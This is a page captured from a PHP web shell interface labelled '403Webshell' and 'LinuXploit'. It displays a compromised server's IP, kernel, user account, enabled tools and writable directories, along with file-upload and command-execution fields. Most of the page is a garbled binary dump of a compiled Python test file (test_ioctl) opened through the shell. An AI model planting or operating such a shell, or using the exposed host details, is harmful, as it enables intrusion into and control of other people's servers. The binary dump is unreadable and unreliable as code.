403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_ioctl.cpython-36.opt-1.pyc
3

�w2_��@sddlZddlZddlmZmZddlZddlZed�Zed�Zeed�ye	dd�Z
Wnek
rvejd��YnPXej
e
ejd	�Ze
j�ejd
e�dZeej�ejd�fkr�ejd��[
[[yddlZWnek
r�dZYnXGdd
�d
ej�Zedk�rej�dS)�N)�
import_module�
get_attribute�fcntl�termios�	TIOCGPGRPz/dev/tty�rbzUnable to open /dev/ttyz    �izBNeither the process group nor the session are attached to /dev/ttyc@s>eZdZdd�Zddd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�
IoctlTestscCsXtj�tjd�f}tdd��2}tj|tjd�}tj	d|�d}|j
||�WdQRXdS)Nrz/dev/ttyrz    r)�os�getpgrp�getsid�openr�ioctlrr�struct�unpack�assertIn)�self�ids�tty�r�rpgrp�r�4/opt/alt/python36/lib64/python3.6/test/test_ioctl.py�
test_ioctls
zIoctlTests.test_ioctlNc	Cs�tjd�}|j}tj�tjd�f}d}|dk	rX|j|g||�|jt|�||�n
|j|�t	dd��}t
j|tj
|d�}WdQRX|d}|j|d�|j||�dS)Nrri90z/dev/ttyr�i���)�array�itemsizer
rr�extendZassertEqual�len�appendr
rrrrr)	r�nbytesZbufZintsizerZfillrrrrrr�_check_ioctl_mutate_len&s

z"IoctlTests._check_ioctl_mutate_lencCs|j�dS)N)r!)rrrr�test_ioctl_mutate8szIoctlTests.test_ioctl_mutatecCs|jd�dS)Ni)r!)rrrr�test_ioctl_mutate_1024;sz!IoctlTests.test_ioctl_mutate_1024cCs|jd�dS)Ni)r!)rrrr�test_ioctl_mutate_2048@sz!IoctlTests.test_ioctl_mutate_2048cCs�tstjd��tj�\}}zltjdkr8tj}tjd@}ntj}tjdtjdtj��\}tjddddd�}t	j
|||�}t	j
|||�}Wdtj|�tj|�XdS)	Nzpty module requiredrl��r�IZHHHH�P�)
�pty�unittest�SkipTest�openptyrZ
TIOCSWINSZrrZpackrrr
�close)rZmfdZsfdZset_winsz_opcode_maybe_negZset_winsz_opcode_posZ	our_winszZ	new_winszrrr�%test_ioctl_signed_unsigned_code_paramDs


z0IoctlTests.test_ioctl_signed_unsigned_code_param)N)	�__name__�
__module__�__qualname__rr!r"r#r$r-rrrrr	s	
r	�__main__)rr)Ztest.supportrrr
rrrr
r�OSErrorr*rrrr,rrrrr(�ImportErrorZTestCaser	r.�mainrrrr�<module>s.


>


Youez - 2016 - github.com/yon3zu
LinuXploit